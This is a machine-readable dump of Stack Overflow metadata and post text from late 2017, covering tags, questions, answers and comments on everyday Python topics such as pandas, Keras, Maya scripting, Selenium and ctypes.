tags question: http://stackoverflow.com/q/46938791
tags question: http://stackoverflow.com/q/46996270
tag name: if-statement
tags question: http://stackoverflow.com/q/46960127
tags question: http://stackoverflow.com/q/46912995
tags question: http://stackoverflow.com/q/46921700
type: Tag
tags question: http://stackoverflow.com/q/47043063
tags question: http://stackoverflow.com/q/46943968
tags question: http://stackoverflow.com/q/46964579
tags question: http://stackoverflow.com/q/47020225
tags question: http://stackoverflow.com/q/46913827
tags question: http://stackoverflow.com/q/47050619
tags question: http://stackoverflow.com/q/47027753
tags question: http://stackoverflow.com/q/47060970
tags question: http://stackoverflow.com/q/47016867
tags question: http://stackoverflow.com/q/47041946
tags question: http://stackoverflow.com/q/47019625
tags question: http://stackoverflow.com/q/46994663
tags question: http://stackoverflow.com/q/47023111
tags question: http://stackoverflow.com/q/47054458

python-itertools
tags question: http://stackoverflow.com/q/46994614
tags question: http://stackoverflow.com/q/47001404
tags question: http://stackoverflow.com/q/46957254
tags question: http://stackoverflow.com/q/47052858
tags question: http://stackoverflow.com/q/46940733
tags question: http://stackoverflow.com/q/46925633
tags question: http://stackoverflow.com/q/47046158
tags question: http://stackoverflow.com/q/46940868
tags question: http://stackoverflow.com/q/47008483
tags question: http://stackoverflow.com/q/47015942
tags question: http://stackoverflow.com/q/47024366
tags question: http://stackoverflow.com/q/47012158
tag name: python-itertools
tags question: http://stackoverflow.com/q/47010829
tags question: http://stackoverflow.com/q/46941719
type: Tag
tags question: http://stackoverflow.com/q/47002035
tags question: http://stackoverflow.com/q/46924625
tags question: http://stackoverflow.com/q/47043660

http://stackoverflow.com/comment/80871767
type: QuestionComment
score: 0
has text: What do you mean by "animate"? What specific effect are you trying to achieve?
comment on: http://stackoverflow.com/q/46961642
type: Comment

http://stackoverflow.com/comment/80811760
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46932311
has text: Thank you so much for quick response! The wide_to_long method worked for me!!

http://stackoverflow.com/q/46987460
tagged with: mel
favorite count: 0
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48306211
tagged with: python
upvote count: 2
score: 2
has body: I'm a real Python noob (been playing with it for about a week now) but I'm really enjoying streamlining some of my Maya tools. I'm currently a little stuck on the following; I am trying to get polySplitRing with Insert with Edge Flow to work on a selection of multiple edges. I can get it to work on one edge, but I can't get it to work on multiple edges. I'm trying to use a list, but I need something mo better than that. Have tried searching for the same problem but didn't find anything (also not sure what to search for exactly). If there's a doc for setting something like this up, pls link! Here's what works fine on a single edge selection: single edge selection: import maya.cmds as cmds import maya.mel as mm mm.eval("polySelectSp -ring;") cmds.polySplitRing(ief=True, cch=1) Here's what I'm working at for multiple edge solution import maya.cmds as cmds import maya.mel as mm sel=cmds.ls(sl=1) edgeCount = cmds.polyEvaluate(ec=True) print edgeCount edgeList = [edgeCount] print edgeList for each in edgeList: mm.eval("polySelectSp -ring;") cmds.polySplitRing(ief=True, cch=1) mm.eval("polySelectSp -ring;") cmds.polySplitRing(ief=True, cch=1) polySplitEdgeRing Insert with Edge Flow working on a single edge desired end result after selecting multiple edges Cheers!
has title: python: polySplitRing Insert with Edge flow on multiple edges
answer count: 1
downvote count: 0
tagged with: maya

http://stackoverflow.com/q/46941874
type: Question
upvote count: 2
has title: Filling missing values with mode of column relative to another column in Python
tagged with: python
tagged with: analytics
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
score: 1
accepted answer: http://stackoverflow.com/a/46941982
answer count: 1
has body: I have a dataframe with 2 columnns City_Type and Vehicle_Type among many other columns. Now i have some missing values in Vehicle_Type columns which i need to impute with mode of Vehicle_Type based on City_Type. First i need to write a python program to get the below output. Then i need to fill the missing values in Vehicle_Type field based on the below output. City_Type Vehicle_Type Tier1 Sedans Tier2 Hatchback Tier3 SUV
has answer: http://stackoverflow.com/a/46941982
downvote count: 1
tagged with: scipy
favorite count: 0

http://stackoverflow.com/comment/80969855
type: QuestionComment
has text: https://docs.opencv.org/2.4/modules/core/doc/operations_on_arrays.html#meanstddev
comment on: http://stackoverflow.com/q/47011729
score: 1
type: Comment

http://stackoverflow.com/q/47026597
has answer: http://stackoverflow.com/a/47088968
downvote count: 1
favorite count: 0
has body: I had a situation that the dimension of categorical variables in the training and scoring data set are not matched. For example, in the training data, the variable region had 3 categories: "East", "South", and "West" while the scoring data had 4 categories: "East", "South", "West", and "North". Since I had saved the model object using Python, I cannot score the data due to mismatch dimension. Any suggestions to take care of the additional categorical values in the scoring data set. Thank you!
type: Question
tagged with: python-3.x
tagged with: python
score: -1
has title: Train and Score Data set (Dimension not match)
tagged with: python-2.7
upvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81000280

http://stackoverflow.com/comment/81064400
score: 0
type: AnswerComment
has text: Thanks for your help!
comment on: http://stackoverflow.com/a/47057895
type: Comment

http://stackoverflow.com/comment/81068136
comment on: http://stackoverflow.com/q/47059909
score: 0
type: Comment
type: QuestionComment
has text: So its solved now?

http://stackoverflow.com/comment/80945152
score: 0
type: AnswerComment
has text: @JonClements Yes, see above, I was typing exactly that.
comment on: http://stackoverflow.com/a/46999157
type: Comment

http://stackoverflow.com/comment/81003585
type: QuestionComment
comment on: http://stackoverflow.com/q/47028174
has text: Here the condition is to find when trend starts ; as in crossing the *Lower-limit*(5) and ending while crossing the *Upper-limit*(20)..making it a regular trend. If the trend starts (crossing the lower limit) but fails to cross the upper limit and instead crosses the lower limit..it reflect as aborted trend.
score: 0
type: Comment

http://stackoverflow.com/q/46913748
has answer: http://stackoverflow.com/a/48565876
tagged with: deep-learning
score: 1
has title: Keras: deal with threads and large datasets
has body: I'm trying to deal with a large training dataset in Keras. I use model.fit_generator with a custom generator which reads data from a SQL file. I've got an error message which tells me that I cannot use an SQLite object in two different threads: ProgrammingError: SQLite objects created in a thread can only be used in that same thread.The object was created in thread id 140736714019776 and this is thread id 123145449209856 I tried to do the same with an HDF5 file, and ran into a segmentation fault which I now believe is also related the the multithreaded character of fit_generator (see bug reported here). What is the proper way to use those generators, as I believe it is quite common to have to read data by batch from a file for datasets that don't fit into memory. Here is the code for the generator: class DataGenerator: def __init__(self, inputfile, batch_size, **kwargs): self.inputfile = inputfile self.batch_size = batch_size def generate(self, labels, idlist): while 1: for batch in self._read_data_from_hdf(idlist): batch = pandas.merge(batch, labels, how='left', on=['id']) Y = batch['label'] X = batch.drop(['id', 'label'], axis=1) yield (X, Y) def _read_data_from_hdf(self, idlist): chunklist = [idlist[i:i + self.batch_size] for i in range(0, len(idlist), self.batch_size)] for chunk in chunklist: yield pandas.read_hdf(self.inputfile, key='data', where='id in {}'.format(chunk)) # [...] model.fit_generator(generator=training_generator, steps_per_epoch=len(partitions['train']) // config['batch_size'], validation_data=validation_generator, validation_steps=len(partitions['validation']) // config['batch_size'], epochs=config['epochs']) See the full example repository here. Thank you for your support. Cheers, Ben
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81078551
type: UnansweredQuestion
tagged with: multithreading
downvote count: 0
answer count: 1
tagged with: dataset
upvote count: 1
tagged with: python
tagged with: keras
has comment: http://stackoverflow.com/comment/81071475

http://stackoverflow.com/comment/80909958
type: Comment
type: QuestionComment
score: 0
has text: @Ghostly Martijn Thankyou! That '-' solved the issue I had.
comment on: http://stackoverflow.com/q/46980915

http://stackoverflow.com/comment/80824838
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46938791
score: 0
has text: You probably only need one loop here.

http://stackoverflow.com/comment/80791064
score: 0
has text: I can run it with `d` from the second part where you omitted the `Neighbour_values`, although I want to keep that, so I ran the first code again and that's when I encountered that error
type: Comment
comment on: http://stackoverflow.com/a/46920286
type: AnswerComment

http://stackoverflow.com/comment/80837893
type: Comment
score: 1
has text: Possible duplicate of [How to sort a dictionary by value?](https://stackoverflow.com/questions/613183/how-to-sort-a-dictionary-by-value)
type: QuestionComment
comment on: http://stackoverflow.com/q/46945360

http://stackoverflow.com/q/47022336
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has body: hi i have a difficulty with moment.js first entry it good but after i have invalid date . I call my data in front with {{....}} : {% for lastRequest in listLastRequeteClient %} {{ lastRequest.categoryName }} {{ lastRequest.nameRequest }} {{ lastRequest.dateRequest }} {% if lastRequest.isWaitingWorking == True %} {% elif lastRequest.isWaitingWorking == True %} {% elif lastRequest.isFinish == True %} {% endif %} % endfor %} and my Javascript : function countDateEntry() { $(".countDateTime").each(function() { // get it Oct. 27, 2017, 2:27 p.m var dateEntry = $(this).text(); console.log(dateEntry); // format it var delSpace = dateEntry.replace(/ /gi, ""); var delVir = delSpace.replace(/,/gi, ""); var delDoublePoint = delVir.replace(/:/gi, ""); var FinishSerialize = delDoublePoint.replace(/\./gi, ""); console.log(FinishSerialize); // test is date is valid console.log(moment(FinishSerialize, 'MMMDYYYYhma').isValid()); var formatMomentDate = moment(FinishSerialize, 'MMMDYYYYhma').fromNow(); console.log(formatMomentDate); //$(this).text(formatMomentDate); }); } but show my console.log invalid date : First entry it is ok after it is bad . Oct. 27, 2017, 2:27 p.m. Oct272017227pm true 3 days ago Oct. 28, 2017, 8:39 p.m. Oct282017839pm false Invalid date Oct. 30, 2017, 6:28 p.m. Oct302017628pm false Invalid date Oct. 30, 2017, 6:29 p.m. Oct302017629pm false Invalid date An idea ?? I'm french sorry for my bad English .
accepted answer: http://stackoverflow.com/a/47022693
tagged with: django
tagged with: javascript
tagged with: python
has answer: http://stackoverflow.com/a/47022693
has title: momentJs with class not work correctly django
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/81060233
type: AnswerComment
score: 0
type: Comment
has text: I want to have two return parameters, const char**& keys,int& result_length Although I could get result_length by len(keys), I prefer get it from the function return. So I add a line in dict.i: $result = SWIG_Python_AppendOutput($result, PyInt_FromLong(*$2));
comment on: http://stackoverflow.com/a/47050775

http://stackoverflow.com/comment/80935619
comment on: http://stackoverflow.com/q/46994589
has text: Possible duplicate of [Bad magic number error with ZipFile module in Python](https://stackoverflow.com/questions/7703639/bad-magic-number-error-with-zipfile-module-in-python)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81114715
type: AnswerComment
has text: Indeed, because the code checks if the next line is also a main before adding an empty valie, but if it's the last one there is no more lines to check so it never adds that empty value. The updated code "should" work.
comment on: http://stackoverflow.com/a/47054862
type: Comment
score: 0

http://stackoverflow.com/comment/81042342
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47047549
type: QuestionComment
has text: there can any level of nesting or is it fixed?

http://stackoverflow.com/q/47051875
tagged with: web-scraping
has title: Trouble dealing with next page link
has body: I've written a script in python in combination with selenium to get some data from a javascript enabled webpage. There are three things to do before clicking on the next page button because the next page link appears only when the webpage contains the search results. The three things are: filling in two search boxes and clicking on search button. However, my script can do the three things flawlessly but breaks when it is supposed to click on the next page link (throwing timeout exception). As you can see, I've already tried with three different options to click on the next page link but never succeeded. The rest two I tried with are commented out. What to do to click on the next page button successfully? The script I've tried with: from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC driver = webdriver.Chrome() wait = WebDriverWait(driver, 10) driver.get("https://brokercheck.finra.org/") wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, "[placeholder='Name or CRD#']"))).send_keys("Michael John") wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, "[placeholder='Firm Name or CRD# (optional)']"))).send_keys("Morgan Stanley") wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,'.md-button'))).click() # wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR,'.pagination-next a'))).click() # wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,'.pagination-next a'))).click() wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR,'.pagination-next a'))).click() driver.quit() Elements within which next page links are: <ul class="pagination ng-pristine ng-untouched ng-valid ng-scope ng-isolate-scope" data-ng-if="listCtrl.getTotalResults()" total-items="listCtrl.getDisplayResults()" ng-model="listCtrl.currentPage" max-size="1" page-label="listCtrl.pag…
has comment: http://stackoverflow.com/comment/81050773
tagged with: selenium-webdriver
accepted answer: http://stackoverflow.com/a/47052512
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47052512
score: 1
has comment: http://stackoverflow.com/comment/81050760
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81050885
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81051356
downvote count: 0
tagged with: selenium
upvote count: 1

http://stackoverflow.com/comment/81056322
type: QuestionComment
comment on: http://stackoverflow.com/q/47054538
has text: You also need to provide the `request` to your `messages.success` method call
score: 1
type: Comment

http://stackoverflow.com/comment/80781757
type: QuestionComment
has text: @AlexvonBrandenfels Since the meaning of `\b` varies by regex flag, a three-liner that shows how the OP is executing the regex is better than a naked regex.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46917131

http://stackoverflow.com/a/46987798
score: 0
has body: When the columns used for joining have the same name, you can use the USING clause. This not only saves typing, but also removes the duplicate column from the join output so that you can more easily refer to it: SELECT device_id, COUNT(*) FROM events JOIN gender_age_train USING (device_id) GROUP BY device_id;
answers question: http://stackoverflow.com/q/46984022
type: Answer

http://stackoverflow.com/q/46982374
downvote count: 1
favorite count: 0
has title: PyQt Browser blocks code execution
linked to: http://stackoverflow.com/q/46869472
type: Question
has comment: http://stackoverflow.com/comment/80913643
has comment: http://stackoverflow.com/comment/80913494
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80913864
has body: I have added PyQt5 Browser to my project but when show() method is executed, it blocks the codes following it. Is there a way, not show it as modal, or have it run on another thread? This is the code I have taken from Python Tutorials site, which works perfect, but just blocks the code on show(): import sys from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * from PyQt5.QtWebKit import * from PyQt5.QtWebKitWidgets import * from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow app = QApplication(sys.argv) web = QWebView() web.load(QUrl("https://pythonspot.com")) web.show() # the code in here won't run while the form web.show() opened, is not closed sys.exit(app.exec_())
tagged with: browser
has comment: http://stackoverflow.com/comment/80914113
has comment: http://stackoverflow.com/comment/80913900
upvote count: 2
tagged with: pyqt
has comment: http://stackoverflow.com/comment/80913949
linked to: http://stackoverflow.com/q/46859945
answer count: 0
tagged with: pyqt5
score: 1
has comment: http://stackoverflow.com/comment/80913927

http://stackoverflow.com/comment/80881907
score: 0
type: Comment
type: QuestionComment
has text: The data sample you provided is not really helpful. can you add just a small sample of your array?
comment on: http://stackoverflow.com/q/46963005

http://stackoverflow.com/q/47053275
favorite count: 0
type: Question
type: UnansweredQuestion
upvote count: 4
has answer: http://stackoverflow.com/a/47055175
has title: Pandas read_csv with chunksize memory leak
has body: I am enriching a csv with 750 million rows by using pandas read_csv with a chunksize of 500000 and writing out to another csv file. Running this I get a 'segmentation fault' after processing around 100-150 million rows. I kept track of number of chunks processed and altered the code so it would skip the chunks it had read. Monitoring the process memory consumption I see that it increases a lot even though I'm skipping the chunks. That's the part that I don't get. Going through the questions there seems to have been an issue with pandas garbage collection, but that seems to relate to previous versions. I'm using Python 2.7 and pandas 0.21.0 I'm doing this on a r3.xlarge EC2 instance with 30 GB RAM, which should be enough, even taking into account pandas up to 6x memory overhead. Code summary: i = 0 for chunk in pd.read_csv(filename,chunksize=500000,names=colnames): if i &lt;= 349500000: # Previously processed chunks i = i+chunksize print 'Skipping chunk ', i continue enriched_chunk = enrich_df(chunk, users_df) enriched_chunk.to_csv('enriched.csv', mode='a', header=False, index=False) def enrich_df(c, users_df): d = pd.merge(c, users_df, how='left', left_on='user_id', right_on='userId') return d The table users_df is a relatively small table that is kept in memory.
score: 3
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
downvote count: 1
tagged with: python

http://stackoverflow.com/comment/80818947
comment on: http://stackoverflow.com/q/46935823
type: Comment
has text: `I'm able to achieve the same result in R with:` > Then why did you tag this as a Python question??
type: QuestionComment
score: 0

http://stackoverflow.com/a/47174590
upvote count: 2
has comment: http://stackoverflow.com/comment/85883973
downvote count: 0
score: 2
has body: you should download the project from github and enter the folder where file "makefile" is in, then run make qt5py3
answers question: http://stackoverflow.com/q/46986431
type: Answer

visual-studio-code
tags question: http://stackoverflow.com/q/46918702
tag name: visual-studio-code
type: Tag
tags question: http://stackoverflow.com/q/46944549
tags question: http://stackoverflow.com/q/47057011

http://stackoverflow.com/comment/80870470
score: 0
type: Comment
type: AnswerComment
has text: But if I run it where I just type the variables individually, I don't get that exception at all. I would think it would still come up regardless of how I was executing it? So I don't understand why in a bash script I suddenly get that error when it never showed up before.
comment on: http://stackoverflow.com/a/46961440

http://stackoverflow.com/q/47010325
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/80980534
tagged with: tkinter
has comment: http://stackoverflow.com/comment/80967365
upvote count: 1
answer count: 1
downvote count: 1
has title: How to Make Tkinter Entries from An Entry Box into A Python List
favorite count: 0
type: Question
tagged with: python-3.x
has body: I have a entry box that allows users to input multiple integers separated by commas. How do I get the entries from this entry box into a python list which I can store as a variable. Thanks in advance. P.S.If you require specific examples of code please reply and ask me.
has answer: http://stackoverflow.com/a/47078392
type: UnansweredQuestion

http://stackoverflow.com/comment/80935769
type: QuestionComment
has text: i solved the problem...actually i installed the wrong library..i should install pyserial instead of serial....my bad
comment on: http://stackoverflow.com/q/46993874
type: Comment
score: 1

http://stackoverflow.com/q/46995216
type: Question
tagged with: python-3.x
tagged with: set-comprehension
has title: How does this for-loop within this dictionary work exactly?
has body: Currently I'm learning Python text sentiment module via this online course and the lecturer failed to explain in enough detail how this piece of code works. I tried searching each piece of code individually to try piece together how he did it but it makes no sense to me. So how does this code work? Why is there a for loop within dictionary braces? What is the logic behind x before the for y in emotion_dict.values() then for x in y at the end? What is the purpose behind emotion_dict=emotion_dict within the parentheses? Wouldn't just emotion_dict do? def emotion_analyzer(text,emotion_dict=emotion_dict): #Set up the result dictionary emotions = {x for y in emotion_dict.values() for x in y} emotion_count = dict() for emotion in emotions: emotion_count[emotion] = 0 #Analyze the text and normalize by total number of words total_words = len(text.split()) for word in text.split(): if emotion_dict.get(word): for emotion in emotion_dict.get(word): emotion_count[emotion] += 1/len(text.split()) return emotion_count
accepted answer: http://stackoverflow.com/a/46995299
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/46995299
type: AnsweredQuestion
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/80937099
answer count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81019207
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47035094
has text: @CrazyElf Thanks! Yes, the normalization etc will be applied.

http://stackoverflow.com/a/47055869
type: Answer
score: 1
answers question: http://stackoverflow.com/q/47054249
downvote count: 0
upvote count: 1
has body: I found a solution: class Monitor(object): base_url = 'monitor' def __getattr__(self, endpoint): def handler(**kwargs): return self._inner_getattr(endpoint, **kwargs) return handler @staticmethod def _inner_getattr(endpoint, **kwargs): base_call = '/{base_url}/{endpoint}'.format( base_url=Monitor.base_url, endpoint=endpoint ) if 'nodeId' in kwargs.keys(): base_call += '?nodeId={node_id}'.format( node_id=kwargs['nodeId'] ) if 'region' in kwargs.keys(): base_call += '?region={region}'.format( region=kwargs['region'] ) return base_call a = Monitor() print a.node(nodeId="bla", region="blabla") Outputs: /monitor/node?nodeId=bla?region=blabla

http://stackoverflow.com/q/46982616
type: AnsweredQuestion
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81020755
tagged with: keras
has body: I have the following feature vector that consists in a single feature for each sample and 32 samples at total: X = [[0.1], [0.12], [0.3] ... [0.10]] and a label vector that consists of binary values Y = [0, 1, 0 , 0, .... 1] (with 32 samples as well) I'm trying to use Keras LSTM to predict the next value of the sequence based on a new entry. What I can't figure out is what the "batch_input_shape" tuple means for instance: model.add(LSTM(neurons, batch_input_shape=(?, ?, ?), return_sequences=False, stateful=True)) According to this article the first one is the batch size, but what about the other two? Are they the number of features for each sample and the number of samples? What should be the value of batch_size in this case? At the moment receiving the error message: ValueError: Error when checking input: expected lstm_1_input to have 3 dimensions, but got array with shape (32, 1) Edit: Here is the model declaration: def create_lstm(batch_size, n_samples, neurons, dropout): model = Sequential() model.add(LSTM(neurons, batch_size=batch_size, input_shape=(n_samples, 1), return_sequences=False, stateful=True)) model.add(Dropout(dropout)) model.add(Dense(1, activation='sigmoid')) model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy']) return model
favorite count: 0
type: Question
score: 9
accepted answer: http://stackoverflow.com/a/46986190
has answer: http://stackoverflow.com/a/46986190
upvote count: 9
has title: batch_input_shape tuple on Keras LSTM
tagged with: python
tagged with: recurrent-neural-network
has comment: http://stackoverflow.com/comment/80919125
tagged with: lstm

http://stackoverflow.com/q/46982470
has answer: http://stackoverflow.com/a/46982702
tagged with: python
has comment: http://stackoverflow.com/comment/80912543
has comment: http://stackoverflow.com/comment/80921027
has comment: http://stackoverflow.com/comment/80912724
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80912463
tagged with: datetime
has body: I'm trying to access C's gmtime() function from Python to avoid datetime.datetime. fromtimestamp(), as it seems to be consuming a lot of time when I try to convert a large column of timestamp long values. This is what I have: from ctypes import * libc = CDLL('msvcrt.dll') gmtime = libc.gmtime gmtime([any timestamp I try]) I get 17181872 no matter what number i put in. OSError: exception: access violation reading 0x0098967F I must be making some noob mistake, but I can't figure it out. Can someone point out my error? EDIT: replacing the last line with: gmtime(byref(c_int64([any timestamp I try]))) doesn't solve the problem - I get 17181872 in response for any number I put in. Any ideas?
type: Question
tagged with: ctypes
has title: using gmtime() via Python's ctypes
accepted answer: http://stackoverflow.com/a/46982702
answer count: 1

http://stackoverflow.com/comment/80774946
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46913837
has text: Thank you ! that's exactly what i needed
score: 1

http://stackoverflow.com/comment/80861081
has text: updated the code
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46918818
type: Comment

http://stackoverflow.com/q/47013772
downvote count: 0
has comment: http://stackoverflow.com/comment/80974721
upvote count: 1
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/80974015
favorite count: 0
has title: SystemError: error return without exception set when connecting to the database using ibm_db
type: Question
has comment: http://stackoverflow.com/comment/80975433
tagged with: robotframework
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80974687
has body: I am unable to connect to the database. I was trying to run an automation script through Robot Framework for which I installed ibm_db module using pip. But the error is so generic that I couldn't get it resolved. &gt;&gt;&gt; import ibm_db &gt;&gt;&gt; conn = ibm_db.connect("DATABASE=&lt;database&gt;;HOSTNAME=&lt;host.co m&gt;;PORT=&lt;port&gt;;PROTOCOL=TCPIP;UID=&lt;userid&gt;;PWD=&lt;password&gt;;", "", "") Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; SystemError: error return without exception set IBM Db2 database is installed on a remote server which runs on Windows 7. I am able to connect to the database manually. IBM_DB module version is 2.0.7. Python version is 2.7.9 and runs on a Windows 10 system. I was able to run the same script from another system with similar configurations.
has comment: http://stackoverflow.com/comment/80975097
tagged with: db2
tagged with: python
has answer: http://stackoverflow.com/a/60751865
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80975029

http://stackoverflow.com/comment/80926653
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46990039
has text: To me it looks more like *math* than C. In math, I'd say "a, b = 1" isn't unusual and means both a and b are 1. And Python is pretty mathy, for example also supporting "1 < x < 9" and meaning what a mathematician would mean with that, not what a C coder might mean with that.
type: Comment

http://stackoverflow.com/comment/81060022
comment on: http://stackoverflow.com/q/47055600
score: 0
has text: @nvachhan: the server at https://exampleurl.com does not have a valid SSL certificate. You can test with just HTTP, or try using [httpbin.org](http://httpbin.org) as shown in my answer. Better still, use `requests` as suggested.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81048545
score: 0
type: AnswerComment
has text: Thanks. The parentheses anchor the whole thing to start _and_ end, so it only matches the empty string if tested against `""`. Which is not a "word", so it's undefined behavior (and if one thinks about it, it is not *im*properly capitalized; in my opinion it should pass). But anyway it will work correctly on any _word_ tested, and more important it fixes the mystery where the OP was stuck-- what to do about the empty string they can decide and fix themselves. My point was to fix the problem, not rewrite the solution from scratch.
comment on: http://stackoverflow.com/a/47046631
type: Comment

http://stackoverflow.com/a/46984192
score: 0
accepted answer of: http://stackoverflow.com/q/46984120
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80915988
type: Answer
has body: Try: extra_users = Models.objects.filter(user=request.user) users = Users.objects.exclude(pk__in=extra_users)
answers question: http://stackoverflow.com/q/46984120

http://stackoverflow.com/comment/80941686
type: AnswerComment
comment on: http://stackoverflow.com/a/46997293
score: 0
type: Comment
has text: Date should not be dropped after creating the new column. Finally I would like to see how each clients' Amount is, over years. So date should remain in the grouping.

http://stackoverflow.com/q/46996903
type: Question
has comment: http://stackoverflow.com/comment/80998633
accepted answer: http://stackoverflow.com/a/46996969
tagged with: python
has answer: http://stackoverflow.com/a/46996969
has body: I'm running the code from github, and encountered the error in the following lines: # Split the series because the rnn cell needs time_steps features, each of shape: hidden = tf.split(0, config.n_steps, feature_mat) print (len(hidden), str(hidden[0].get_shape())) # New shape: a list of lenght "time_step" containing tensors of shape [batch_size, n_hidden] The error message is: TypeError: Input 'split_dim' of 'Split' Op has type float32 that does not match expected type of int32. I have saw similar questions on StackOverflow, and the issue resulted from outdated version of tensorflow, but my version of tensorflow is 1.3.
type: AnsweredQuestion
has title: TensorFlow version 1.3.0 - Input 'split_dim' of 'Split' Op has type float32 that does not match expected type of int32
score: 1
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/41842440
has comment: http://stackoverflow.com/comment/80940428
upvote count: 1
tagged with: tensorflow
favorite count: 0

http://stackoverflow.com/q/46992036
has comment: http://stackoverflow.com/comment/80930844
has comment: http://stackoverflow.com/comment/80930688
has comment: http://stackoverflow.com/comment/80930924
has title: How to access data from json php and python
has comment: http://stackoverflow.com/comment/80930921
has comment: http://stackoverflow.com/comment/80930789
has comment: http://stackoverflow.com/comment/80930873
type: Question
has comment: http://stackoverflow.com/comment/80930747
has comment: http://stackoverflow.com/comment/80930898
answer count: 0
has comment: http://stackoverflow.com/comment/80930830
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80930896
has comment: http://stackoverflow.com/comment/80930831
tagged with: python
tagged with: php
has comment: http://stackoverflow.com/comment/80930902
has comment: http://stackoverflow.com/comment/80930914
has body: I have code like this to throw data from php to python function fuzzy($id = '') { $data_sg1 = core::selectWhereCollums('area_proses','default','sg1',array('id'=&gt;$id)); $data_sg2 = core::selectWhereCollums('area_proses','default','sg2',array('id'=&gt;$id)); $data_sg3 = core::selectWhereCollums('area_proses','default','sg3',array('id'=&gt;$id)); //contoh // This is the data you want to pass to Python $data = array($data_sg1,$data_sg2,$data_sg3); // Execute the python script with the JSON data $result = shell_exec('python "C:/xampp_2/htdocs/SkripsiV2/application/modules/admin/area_proses/controllers/fuzzy.py" ' . base64_encode(json_encode($data))); // Decode the result $resultData = json_decode($result, true); // This will contain: array('status' =&gt; 'Yes!') var_dump($resultData); /* core::update('area_proses','default',array( 'fuzzy' =&gt; $resultData, ), $id); $this-&gt;session-&gt;set_flashdata('success','success'); redirect('area_proses'); */ } when i want to access array in python like this # Load the data that PHP sent us try: data = json.loads(base64.b64decode(sys.argv[1])) except: print "ERROR" sys.exit(1) z= 3.25162115490 # Generate some data to send to PHP result = {'status': z} # Send it to stdout (to PHP) print json.dumps(result) with that code in browser showing array(1) { ["status"]=> float(3.2516211549) } But i have a problem, when i change to this try: data1 = json.loads(base64.b64decode(sys.argv[1])) data2 = json.loads(base64.b64decode(sys.argv[2])) data3 = json.loads(base64.b64decode(sys.argv[3])) The result is NULL My question is how to access data from json in python?
score: 0
has comment: http://stackoverflow.com/comment/80930968
has comment: http://stackoverflow.com/comment/80930795
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/46993758
favorite count: 0
type: Question
has title: How to count trues and falses in a two column data frame?
tagged with: dataframe
tagged with: python
has body: Here is my code: pizzarequests = pd.Series(open('pizza_requests.txt').read().splitlines()) line = "unix_timestamp_of_request_utc" lines = pizzarequests[pizzarequests.str.contains(line)].str.split(",").str[1] print(lines) dts = pd.to_datetime(lines, unit='s') hours = dts.dt.hour print(hours) pizzarequests = pd.Series(open('pizza_requests.txt').read().splitlines()) line = "requester_received_pizza" lines = pizzarequests[pizzarequests.str.contains(line)].str.split(",").str[1] data = pd.DataFrame({'houroftheday' : hours.values, 'successpizza' : lines}) print(data) ****Which gives me:**** houroftheday successpizza 23 18 true 67 2 true 105 14 true 166 23 true 258 20 true 297 1 true 340 2 true 385 22 true ... 304646 21 false 304686 12 false 304746 1 false 304783 3 false 304840 20 false 304907 17 false 304948 1 false 305023 4 false How can I sum the hours that only correspond to the trues?
type: AnsweredQuestion
answer count: 2
score: 1
possible better answer: http://stackoverflow.com/a/46993821
downvote count: 0
accepted answer: http://stackoverflow.com/a/46993822
upvote count: 1
has answer: http://stackoverflow.com/a/46993821
has answer: http://stackoverflow.com/a/46993822

http://stackoverflow.com/q/47021960
type: AnsweredQuestion
has title: BeautifulSoup multiple page error
upvote count: 0
has comment: http://stackoverflow.com/comment/80990898
accepted answer: http://stackoverflow.com/a/47022236
answer count: 1
downvote count: 3
